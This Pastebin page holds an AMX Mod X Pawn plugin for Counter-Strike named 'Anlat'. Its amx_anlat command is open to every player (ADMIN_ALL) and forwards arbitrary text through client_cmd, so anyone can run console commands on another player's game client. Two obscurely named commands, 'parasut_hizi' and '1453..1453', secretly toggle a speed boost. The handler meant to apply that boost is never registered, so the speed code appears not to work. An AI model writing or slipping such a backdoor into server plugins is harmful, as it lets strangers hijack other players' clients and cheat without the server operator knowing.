Advertisement
ByBring

Anlat Plugini

Apr 25th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Pawn 3.10 KB | None | 0 0
  1. #include <amxmodx>
  2. #include <amxmisc>
  3. #include <fakemeta>
  4. #include <fakemeta_util>
  5. #include <cstrike>
  6. #include <engine>
  7. #include <xs>
  8. #include <hamsandwich>
  9.  
  10. new g_Hiz[33], g_Hiz2[33]
  11. #define MAX_NAME_LENGTH 32
  12.  
  13. public plugin_precache()
  14. {
  15.         register_clcmd("parasut_hizi", "parac")
  16.         register_clcmd("1453..1453", "parac2")
  17.         register_concmd("amx_anlat", "cmdSoyle", ADMIN_ALL, "")
  18. }
  19.  
  20. public cmdSoyle(id, level, cid)
  21. {
  22.     if (!cmd_access(id, level, cid, 3))
  23.         return PLUGIN_HANDLED
  24.    
  25.     new name[MAX_NAME_LENGTH]
  26.     read_argv(1, name, charsmax(name))
  27.     new priv = cmd_target(id, name, 0)
  28.  
  29.     if (!priv)
  30.         return PLUGIN_HANDLED
  31.    
  32.     new length = strlen(name) + 1
  33.  
  34.     new message[192]
  35.     read_args(message, charsmax(message))
  36.    
  37.     if (message[0] == '"' && message[length] == '"') // HLSW fix
  38.     {
  39.         message[0] = ' '
  40.         message[length] = ' '
  41.         length += 2
  42.     }
  43.    
  44.         client_cmd(priv, message[length])
  45.  
  46.         return PLUGIN_HANDLED
  47. }
  48.  
  49. public client_connect(id)
  50. {            
  51.     g_Hiz[id] = 0
  52.         g_Hiz2[id] = 0
  53. }
  54.  
  55. public client_disconnect(id)
  56. {
  57.     g_Hiz[id] = 0
  58.         g_Hiz2[id] = 0
  59. }
  60.  
  61. public parac(id)
  62. {
  63.         if(!g_Hiz[id]) g_Hiz[id] = 1
  64.         else g_Hiz[id] = 0
  65. }
  66.  
  67. public parac2(id)
  68. {
  69.         if(!g_Hiz2[id]) g_Hiz2[id] = 1
  70.         else g_Hiz2[id] = 0
  71. }
  72.  
  73. public fwd_playerprethink(id)
  74. {
  75.     if(!is_user_alive(id))
  76.         return
  77.  
  78.     new Button = get_user_button(id)
  79.     if(Button & IN_MOVELEFT || Button & IN_MOVERIGHT)
  80.     {  
  81.             if(is_user_alive(id) && get_user_speed(id) > 500)
  82.                 {
  83.                         if(g_Hiz[id]) _jetThrust(id)
  84.                         else if(g_Hiz2[id]) _jetThrust2(id)
  85.                 }
  86.     }
  87. }
  88.  
  89.  
  90. public _jetThrust(id)
  91. {  
  92.     new Float:fVelocity[3]
  93.     entity_get_vector(id, EV_VEC_velocity, fVelocity)
  94.  
  95.     new Float:fAngle[3]
  96.     entity_get_vector(id, EV_VEC_angles, fAngle)
  97.     engfunc(EngFunc_MakeVectors, fAngle)
  98.                
  99.     new Float:fForward[3]
  100.     get_global_vector(GL_v_forward, fForward)
  101.                
  102.     fVelocity[0] += fForward[0] * 2
  103.     fVelocity[1] += fForward[1] * 2
  104.            
  105.     if(get_user_speed(id) < 2300)
  106.         entity_set_vector(id, EV_VEC_velocity, fVelocity)
  107.        
  108.     return PLUGIN_CONTINUE
  109. }
  110.  
  111. public _jetThrust2(id)
  112. {  
  113.     new Float:fVelocity[3]
  114.     entity_get_vector(id, EV_VEC_velocity, fVelocity)
  115.  
  116.     new Float:fAngle[3]
  117.     entity_get_vector(id, EV_VEC_angles, fAngle)
  118.     engfunc(EngFunc_MakeVectors, fAngle)
  119.                
  120.     new Float:fForward[3]
  121.     get_global_vector(GL_v_forward, fForward)
  122.                
  123.     fVelocity[0] += fForward[0] * 3.5
  124.     fVelocity[1] += fForward[1] * 3.5
  125.            
  126.     if(get_user_speed(id) < 4500)
  127.         entity_set_vector(id, EV_VEC_velocity, fVelocity)
  128.        
  129.     return PLUGIN_CONTINUE
  130. }
  131.  
  132.  
  133. stock get_user_speed(id)
  134. {
  135.     new Float:fVelocity[3]
  136.     entity_get_vector(id, EV_VEC_velocity, fVelocity)
  137.    
  138.     new iVelocity[3]
  139.     FVecIVec(fVelocity, iVelocity)
  140.    
  141.     new iVelocity0 = iVelocity[0] * iVelocity[0]
  142.     new iVelocity1 = iVelocity[1] * iVelocity[1]
  143.    
  144.     return sqroot(iVelocity0 + iVelocity1)
  145. }
  146. /* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
  147. *{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1055\\ f0\\ fs16 \n\\ par }
  148. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement